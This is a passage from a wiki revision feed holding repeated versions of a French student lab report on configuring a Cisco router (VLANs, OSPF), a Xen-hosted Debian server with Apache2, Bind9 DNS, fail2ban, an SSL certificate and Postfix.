          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35407</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35407"/>
		<updated>2016-11-25T08:40:59Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* HTTPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=Fichier:Magic.gif&amp;diff=35406</id>
		<title>Fichier:Magic.gif</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=Fichier:Magic.gif&amp;diff=35406"/>
		<updated>2016-11-25T08:40:06Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35405</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35405"/>
		<updated>2016-11-25T08:23:15Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
